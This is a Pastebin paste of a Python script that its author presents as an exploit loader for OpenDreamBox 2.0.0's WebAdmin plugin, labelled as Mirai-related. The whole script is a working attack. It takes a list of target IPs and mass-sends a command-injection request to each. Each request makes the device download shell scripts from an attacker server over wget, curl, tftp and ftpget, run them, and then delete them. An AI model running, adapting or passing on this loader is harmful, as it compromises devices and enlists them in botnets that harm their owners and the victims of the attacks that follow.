Advertisement
xB4ckdoorREAL

[DREAMBOX 2.0.0 EXPLOIT LOADER] [RCE MIRAI]

Nov 8th, 2019
1,117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.45 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. #MY ARCHIVE: b4ckdoorarchive.host and join my discord by website link invite!#
  4. # OpenDreamBox 2.0.0 - Plugin WebAdmin Exploit made by B4CKDOOR - FULL PRIVATE#
  5. #DIDN'T BLOCKED ALL PAYLOAD WITH + IP + , SO YOU CAN CHANGE PAYLOAD EASILLY IF WANTED.#
  6.  
  7. import threading, random, socket, time, sys, requests, re, os
  8.  
  9. if len(sys.argv) < 3:
  10.     print "\033[37mUsage: python "+sys.argv[0]+" <list> <port>\033[37m"
  11.     sys.exit()
  12.  
  13. #USAGE: python b4ck_dreambox.py vuln.txt 10000
  14. ip = "122.22.22.2" # BINS LOCATION IP
  15. vulns = open(sys.argv[1], "r").readlines()
  16. port = int(sys.argv[2]) # PORTS 10000 8081 8880 8889
  17. class send_payload(threading.Thread):
  18.     def __init__ (self, ip):
  19.         threading.Thread.__init__(self)
  20.         self.ip = str(ip).rstrip('\n')
  21.     def run(self):
  22.         try:
  23.             url = "http://" + self.ip + ":"+port+"/webadmin/script?command=| wget http://" + ip + "/ARES.sh; curl -O http://" + ip + "/ARES.sh; chmod 777 ARES.sh; sh ARES.sh; tftp 122.22.22.2 -c get ARES.sh; chmod 777 ARES.sh; sh ARES.sh; tftp -r ARES2.sh -g 122.22.22.2; chmod 777 ARES2.sh; sh ARES2.sh; ftpget -v -u anonymous -p anonymous -P 21 122.22.22.2 ARES1.sh ARES1.sh; sh ARES1.sh; rm -rf ARES.*"
  24.             requests.get(url, timeout=8)
  25.             print "[OpenDreamBox] Loading: %s"%(self.ip)
  26.         except:
  27.             pass
  28.  
  29. for IP in vulns:
  30.     try:
  31.         ip = "".join(IP)
  32.         ip = ip.replace("\n", "")
  33.         t = send_payload(ip)
  34.         t.start()
  35.         time.sleep(0.03)
  36.     except:
  37.         pass #CODED BY B4CKDOOR
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement